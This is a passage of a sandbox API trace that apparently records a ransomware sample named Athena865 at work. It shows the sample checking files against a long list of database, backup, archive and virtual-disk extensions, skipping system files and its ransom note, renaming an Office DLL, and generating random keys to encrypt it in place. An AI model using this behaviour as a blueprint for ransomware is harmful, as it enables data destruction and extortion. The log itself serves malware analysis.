(lpString="sqlite3") returned 7 [0087.497] lstrcmpiW (lpString1="OCX.DLL", lpString2="sqlite3") returned -1 [0087.497] lstrlenW (lpString="sqlitedb") returned 8 [0087.497] lstrcmpiW (lpString1="SOCX.DLL", lpString2="sqlitedb") returned -1 [0087.497] lstrlenW (lpString="xml") returned 3 [0087.497] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0087.497] lstrlenW (lpString="$er") returned 3 [0087.497] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0087.497] lstrlenW (lpString="4dd") returned 3 [0087.497] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0087.498] lstrlenW (lpString="4dl") returned 3 [0087.498] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0087.498] lstrlenW (lpString="^^^") returned 3 [0087.498] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0087.498] lstrlenW (lpString="abs") returned 3 [0087.498] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0087.498] lstrlenW (lpString="abx") returned 3 [0087.498] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0087.498] lstrlenW (lpString="accdb") returned 5 [0087.498] lstrcmpiW (lpString1="X.DLL", lpString2="accdb") returned 1 [0087.498] lstrlenW (lpString="accdc") returned 5 [0087.498] lstrcmpiW (lpString1="X.DLL", lpString2="accdc") returned 1 [0087.498] lstrlenW (lpString="accde") returned 5 [0087.498] lstrcmpiW (lpString1="X.DLL", lpString2="accde") returned 1 [0087.498] lstrlenW (lpString="accdr") returned 5 [0087.498] lstrcmpiW (lpString1="X.DLL", lpString2="accdr") returned 1 [0087.498] lstrlenW (lpString="accdt") returned 5 [0087.498] lstrcmpiW (lpString1="X.DLL", lpString2="accdt") returned 1 [0087.498] lstrlenW (lpString="accdw") returned 5 [0087.498] lstrcmpiW (lpString1="X.DLL", lpString2="accdw") returned 1 [0087.498] lstrlenW (lpString="accft") returned 5 [0087.498] lstrcmpiW (lpString1="X.DLL", lpString2="accft") returned 1 [0087.498] lstrlenW (lpString="adb") returned 3 [0087.498] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0087.498] lstrlenW (lpString="adb") returned 3 [0087.498] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0087.498] lstrlenW (lpString="ade") returned 3 [0087.498] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0087.498] lstrlenW (lpString="adf") returned 3 [0087.498] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0087.498] lstrlenW (lpString="adn") returned 3 [0087.498] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0087.498] lstrlenW (lpString="adp") returned 3 [0087.499] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0087.499] lstrlenW (lpString="alf") returned 3 [0087.499] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0087.499] lstrlenW (lpString="ask") returned 3 [0087.499] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0087.499] lstrlenW (lpString="btr") returned 3 [0087.499] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0087.499] lstrlenW (lpString="cat") returned 3 [0087.499] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0087.499] lstrlenW (lpString="cdb") returned 3 [0087.499] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0087.499] lstrlenW (lpString="ckp") returned 3 [0087.499] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0087.499] lstrlenW (lpString="cma") returned 3 [0087.499] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0087.499] lstrlenW (lpString="cpd") returned 3 [0087.499] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0087.499] lstrlenW (lpString="dacpac") returned 6 [0087.499] lstrcmpiW (lpString1="CX.DLL", lpString2="dacpac") returned -1 [0087.499] lstrlenW (lpString="dad") returned 3 [0087.499] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0087.499] lstrlenW (lpString="dadiagrams") returned 10 [0087.499] lstrlenW (lpString="daschema") returned 8 [0087.499] lstrcmpiW (lpString1="SOCX.DLL", lpString2="daschema") returned 1 [0087.499] lstrlenW (lpString="db-journal") returned 10 [0087.499] lstrlenW (lpString="db-shm") returned 6 [0087.499] lstrcmpiW (lpString1="CX.DLL", lpString2="db-shm") returned -1 [0087.499] lstrlenW (lpString="db-wal") returned 6 [0087.499] lstrcmpiW (lpString1="CX.DLL", lpString2="db-wal") returned -1 [0087.499] lstrlenW (lpString="dbc") returned 3 [0087.499] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0087.499] lstrlenW (lpString="dbs") returned 3 [0087.500] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0087.500] lstrlenW (lpString="dbt") returned 3 [0087.500] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0087.500] lstrlenW (lpString="dbv") returned 3 [0087.500] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0087.500] lstrlenW (lpString="dbx") returned 3 [0087.500] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0087.500] lstrlenW (lpString="dcb") returned 3 [0087.500] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0087.500] lstrlenW (lpString="dct") returned 3 [0087.500] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0087.500] lstrlenW (lpString="dcx") returned 3 [0087.500] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0087.500] lstrlenW (lpString="ddl") returned 3 [0087.500] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0087.500] lstrlenW (lpString="dlis") returned 4 [0087.500] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0087.500] lstrlenW (lpString="dp1") returned 3 [0087.500] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0087.500] lstrlenW (lpString="dqy") returned 3 [0087.500] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0087.500] lstrlenW (lpString="dsk") returned 3 [0087.500] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0087.500] lstrlenW (lpString="dsn") returned 3 [0087.500] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0087.500] lstrlenW (lpString="dtsx") returned 4 [0087.500] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0087.500] lstrlenW (lpString="dxl") returned 3 [0087.500] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0087.500] lstrlenW (lpString="eco") returned 3 [0087.500] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0087.500] lstrlenW (lpString="ecx") returned 3 [0087.500] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0087.501] lstrlenW (lpString="edb") returned 3 [0087.501] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0087.501] lstrlenW (lpString="epim") returned 4 [0087.501] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0087.501] lstrlenW (lpString="fcd") returned 3 [0087.501] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0087.501] lstrlenW (lpString="fdb") returned 3 [0087.501] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0087.501] lstrlenW (lpString="fic") returned 3 [0087.501] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0087.501] lstrlenW (lpString="flexolibrary") returned 12 [0087.501] lstrlenW (lpString="fm5") returned 3 [0087.501] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0087.501] lstrlenW (lpString="fmp") returned 3 [0087.501] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0087.501] lstrlenW (lpString="fmp12") returned 5 [0087.501] lstrcmpiW (lpString1="X.DLL", lpString2="fmp12") returned 1 [0087.501] lstrlenW (lpString="fmpsl") returned 5 [0087.501] lstrcmpiW (lpString1="X.DLL", lpString2="fmpsl") returned 1 [0087.501] lstrlenW (lpString="fol") returned 3 [0087.501] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0087.501] lstrlenW (lpString="fp3") returned 3 [0087.501] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0087.501] lstrlenW (lpString="fp4") returned 3 [0087.501] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0087.501] lstrlenW (lpString="fp5") returned 3 [0087.501] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0087.501] lstrlenW (lpString="fp7") returned 3 [0087.501] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0087.501] lstrlenW (lpString="fpt") returned 3 [0087.501] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0087.501] lstrlenW (lpString="frm") returned 3 [0087.501] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0087.502] lstrlenW (lpString="gdb") returned 3 [0087.502] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0087.502] lstrlenW (lpString="gdb") returned 3 [0087.502] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0087.502] lstrlenW (lpString="grdb") returned 4 [0087.502] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0087.502] lstrlenW (lpString="gwi") returned 3 [0087.502] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0087.502] lstrlenW (lpString="hdb") returned 3 [0087.502] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0087.502] lstrlenW (lpString="his") returned 3 [0087.502] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0087.502] lstrlenW (lpString="ib") returned 2 [0087.502] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0087.502] lstrlenW (lpString="idb") returned 3 [0087.502] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0087.502] lstrlenW (lpString="ihx") returned 3 [0087.502] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0087.502] lstrlenW (lpString="itdb") returned 4 [0087.502] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0087.502] lstrlenW (lpString="itw") returned 3 [0087.502] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0087.502] lstrlenW (lpString="jet") returned 3 [0087.502] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0087.502] lstrlenW (lpString="jtx") returned 3 [0087.502] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0087.502] lstrlenW (lpString="kdb") returned 3 [0087.502] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0087.503] lstrlenW (lpString="kexi") returned 4 [0087.503] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0087.503] lstrlenW (lpString="kexic") returned 5 [0087.503] lstrcmpiW (lpString1="X.DLL", lpString2="kexic") returned 1 [0087.503] lstrlenW (lpString="kexis") returned 5 [0087.503] lstrcmpiW (lpString1="X.DLL", lpString2="kexis") returned 1 [0087.503] lstrlenW (lpString="lgc") returned 3 [0087.503] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0087.503] lstrlenW (lpString="lwx") returned 3 [0087.503] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0087.503] lstrlenW (lpString="maf") returned 3 [0087.503] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0087.503] lstrlenW (lpString="maq") returned 3 [0087.503] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0087.503] lstrlenW (lpString="mar") returned 3 [0087.503] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0087.503] lstrlenW (lpString="marshal") returned 7 [0087.503] lstrcmpiW (lpString1="OCX.DLL", lpString2="marshal") returned 1 [0087.503] lstrlenW (lpString="mas") returned 3 [0087.503] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0087.503] lstrlenW (lpString="mav") returned 3 [0087.503] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0087.503] lstrlenW (lpString="maw") returned 3 [0087.503] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0087.503] lstrlenW (lpString="mdbhtml") returned 7 [0087.503] lstrcmpiW (lpString1="OCX.DLL", lpString2="mdbhtml") returned 1 [0087.503] lstrlenW (lpString="mdn") returned 3 [0087.503] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0087.503] lstrlenW (lpString="mdt") returned 3 [0087.503] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0087.503] lstrlenW (lpString="mfd") returned 3 [0087.503] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0087.503] lstrlenW (lpString="mpd") returned 3 [0087.504] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0087.504] lstrlenW (lpString="mrg") returned 3 [0087.504] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0087.504] lstrlenW (lpString="mud") returned 3 [0087.504] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0087.504] lstrlenW (lpString="mwb") returned 3 [0087.504] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0087.504] lstrlenW (lpString="myd") returned 3 [0087.504] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0087.504] lstrlenW (lpString="ndf") returned 3 [0087.504] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0087.504] lstrlenW (lpString="nnt") returned 3 [0087.504] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0087.504] lstrlenW (lpString="nrmlib") returned 6 [0087.504] lstrcmpiW (lpString1="CX.DLL", lpString2="nrmlib") returned -1 [0087.504] lstrlenW (lpString="ns2") returned 3 [0087.504] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0087.504] lstrlenW (lpString="ns3") returned 3 [0087.504] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0087.504] lstrlenW (lpString="ns4") returned 3 [0087.504] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0087.504] lstrlenW (lpString="nsf") returned 3 [0087.504] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0087.504] lstrlenW (lpString="nv") returned 2 [0087.504] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0087.504] lstrlenW (lpString="nv2") returned 3 [0087.504] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0087.504] lstrlenW (lpString="nwdb") returned 4 [0087.504] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0087.504] lstrlenW (lpString="nyf") returned 3 [0087.504] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0087.504] lstrlenW (lpString="odb") returned 3 [0087.505] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0087.505] lstrlenW (lpString="odb") returned 3 [0087.505] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0087.505] lstrlenW (lpString="oqy") returned 3 [0087.505] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0087.505] lstrlenW (lpString="ora") returned 3 [0087.505] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0087.505] lstrlenW (lpString="orx") returned 3 [0087.505] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0087.505] lstrlenW (lpString="owc") returned 3 [0087.505] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0087.505] lstrlenW (lpString="p96") returned 3 [0087.505] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0087.505] lstrlenW (lpString="p97") returned 3 [0087.505] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0087.505] lstrlenW (lpString="pan") returned 3 [0087.505] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0087.505] lstrlenW (lpString="pdb") returned 3 [0087.505] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0087.505] lstrlenW (lpString="pdm") returned 3 [0087.505] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0087.505] lstrlenW (lpString="pnz") returned 3 [0087.505] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0087.505] lstrlenW (lpString="qry") returned 3 [0087.505] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0087.505] lstrlenW (lpString="qvd") returned 3 [0087.505] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0087.505] lstrlenW (lpString="rbf") returned 3 [0087.505] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0087.505] lstrlenW (lpString="rctd") returned 4 [0087.505] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0087.505] lstrlenW (lpString="rod") returned 3 [0087.505] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0087.506] lstrlenW (lpString="rodx") returned 4 [0087.506] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0087.506] lstrlenW (lpString="rpd") returned 3 [0087.506] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0087.506] lstrlenW (lpString="rsd") returned 3 [0087.506] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0087.506] lstrlenW (lpString="sas7bdat") returned 8 [0087.506] lstrcmpiW (lpString1="SOCX.DLL", lpString2="sas7bdat") returned 1 [0087.506] lstrlenW (lpString="sbf") returned 3 [0087.506] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0087.506] lstrlenW (lpString="scx") returned 3 [0087.506] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0087.506] lstrlenW (lpString="sdb") returned 3 [0087.506] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0087.506] lstrlenW (lpString="sdc") returned 3 [0087.506] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0087.506] lstrlenW (lpString="sdf") returned 3 [0087.506] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0087.506] lstrlenW (lpString="sis") returned 3 [0087.506] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0087.506] lstrlenW (lpString="spq") returned 3 [0087.506] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0087.506] lstrlenW (lpString="te") returned 2 [0087.506] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0087.506] lstrlenW (lpString="teacher") returned 7 [0087.506] lstrcmpiW (lpString1="OCX.DLL", lpString2="teacher") returned -1 [0087.506] lstrlenW (lpString="tmd") returned 3 [0087.506] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0087.506] lstrlenW (lpString="tps") returned 3 [0087.506] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0087.506] lstrlenW (lpString="trc") returned 3 [0087.506] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0087.507] lstrlenW (lpString="trc") returned 3 [0087.507] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0087.507] lstrlenW (lpString="trm") returned 3 [0087.507] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0087.507] lstrlenW (lpString="udb") returned 3 [0087.507] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0087.507] lstrlenW (lpString="udl") returned 3 [0087.507] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0087.507] lstrlenW (lpString="usr") returned 3 [0087.507] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0087.507] lstrlenW (lpString="v12") returned 3 [0087.507] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0087.507] lstrlenW (lpString="vis") returned 3 [0087.507] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0087.507] lstrlenW (lpString="vpd") returned 3 [0087.507] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0087.507] lstrlenW (lpString="vvv") returned 3 [0087.507] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0087.507] lstrlenW (lpString="wdb") returned 3 [0087.507] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0087.507] lstrlenW (lpString="wmdb") returned 4 [0087.507] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0087.507] lstrlenW (lpString="wrk") returned 3 [0087.507] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0087.507] lstrlenW (lpString="xdb") returned 3 [0087.507] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0087.507] lstrlenW (lpString="xld") returned 3 [0087.507] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0087.507] lstrlenW (lpString="xmlff") returned 5 [0087.507] lstrcmpiW (lpString1="X.DLL", lpString2="xmlff") returned -1 [0087.507] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\VISOCX.DLL.Athena865") returned 63 [0087.507] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISOCX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\visocx.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISOCX.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\visocx.dll.athena865"), dwFlags=0x1) returned 1 [0087.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISOCX.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\visocx.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0087.510] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=441216) returned 1 [0087.510] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0087.510] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0087.510] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0087.510] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0087.511] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0087.511] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0087.511] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6be80, lpName=0x0) returned 0x17c [0087.512] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6be80) returned 0x2d50000 [0087.533] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0087.534] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0087.534] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0087.534] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0087.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0087.534] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0087.534] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0087.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0087.534] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0087.534] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0087.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0087.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0087.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0087.535] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0087.539] CloseHandle (hObject=0x17c) returned 1 [0087.539] CloseHandle (hObject=0x154) returned 1 [0087.539] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0087.539] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0087.539] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0087.541] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d766e00, ftCreationTime.dwHighDateTime=0x1cac1e7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7d766e00, ftLastWriteTime.dwHighDateTime=0x1cac1e7, nFileSizeHigh=0x0, nFileSizeLow=0xee570, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISSHE.DLL", cAlternateFileName="")) returned 1 [0087.541] lstrcmpiW (lpString1="VISSHE.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0087.541] lstrcmpiW (lpString1="VISSHE.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0087.541] lstrcmpiW (lpString1="VISSHE.DLL", lpString2=".") returned 1 [0087.541] lstrcmpiW (lpString1="VISSHE.DLL", lpString2="..") returned 1 [0087.541] lstrcmpiW (lpString1="VISSHE.DLL", lpString2="windows") returned -1 [0087.541] lstrcmpiW (lpString1="VISSHE.DLL", lpString2="bootmgr") returned 1 [0087.541] lstrcmpiW (lpString1="VISSHE.DLL", lpString2="temp") returned 1 [0087.541] lstrcmpiW (lpString1="VISSHE.DLL", lpString2="pagefile.sys") returned 1 [0087.541] lstrcmpiW (lpString1="VISSHE.DLL", lpString2="boot") returned 1 [0087.541] lstrcmpiW (lpString1="VISSHE.DLL", lpString2="ids.txt") returned 1 [0087.541] lstrcmpiW (lpString1="VISSHE.DLL", lpString2="ntuser.dat") returned 1 [0087.541] lstrcmpiW (lpString1="VISSHE.DLL", lpString2="perflogs") returned 1 [0087.541] lstrcmpiW (lpString1="VISSHE.DLL", lpString2="MSBuild") returned 1 [0087.541] lstrlenW (lpString="VISSHE.DLL") returned 10 [0087.541] lstrcpyW (in: lpString1=0x241e89e, lpString2="VISSHE.DLL" | out: lpString1="VISSHE.DLL") returned="VISSHE.DLL" [0087.541] lstrlenW (lpString="VISSHE.DLL") returned 10 [0087.541] lstrlenW (lpString="Athena865") returned 9 [0087.541] lstrcmpiW (lpString1="ISSHE.DLL", lpString2="Athena865") returned 1 [0087.541] lstrlenW (lpString=".dll") returned 4 [0087.541] lstrcmpiW (lpString1="VISSHE.DLL", lpString2=".dll") returned 1 [0087.541] lstrlenW (lpString=".lnk") returned 4 [0087.541] lstrcmpiW (lpString1="VISSHE.DLL", lpString2=".lnk") returned 1 [0087.541] lstrlenW (lpString=".ini") returned 4 [0087.542] lstrcmpiW (lpString1="VISSHE.DLL", lpString2=".ini") returned 1 [0087.542] lstrlenW (lpString=".sys") returned 4 [0087.542] lstrcmpiW (lpString1="VISSHE.DLL", lpString2=".sys") returned 1 [0087.542] lstrlenW (lpString="VISSHE.DLL") returned 10 [0087.542] lstrlenW (lpString="bak") returned 3 [0087.542] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0087.542] lstrlenW (lpString="ba_") returned 3 [0087.542] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0087.542] lstrlenW (lpString="dbb") returned 3 [0087.542] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0087.542] lstrlenW (lpString="vmdk") returned 4 [0087.542] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0087.542] lstrlenW (lpString="rar") returned 3 [0087.542] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0087.542] lstrlenW (lpString="zip") returned 3 [0087.542] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0087.542] lstrlenW (lpString="tgz") returned 3 [0087.542] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0087.542] lstrlenW (lpString="vbox") returned 4 [0087.542] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0087.542] lstrlenW (lpString="vdi") returned 3 [0087.542] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0087.542] lstrlenW (lpString="vhd") returned 3 [0087.542] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0087.542] lstrlenW (lpString="vhdx") returned 4 [0087.542] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0087.542] lstrlenW (lpString="avhd") returned 4 [0087.542] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0087.542] lstrlenW (lpString="db") returned 2 [0087.542] lstrcmpiW (lpString1="LL", 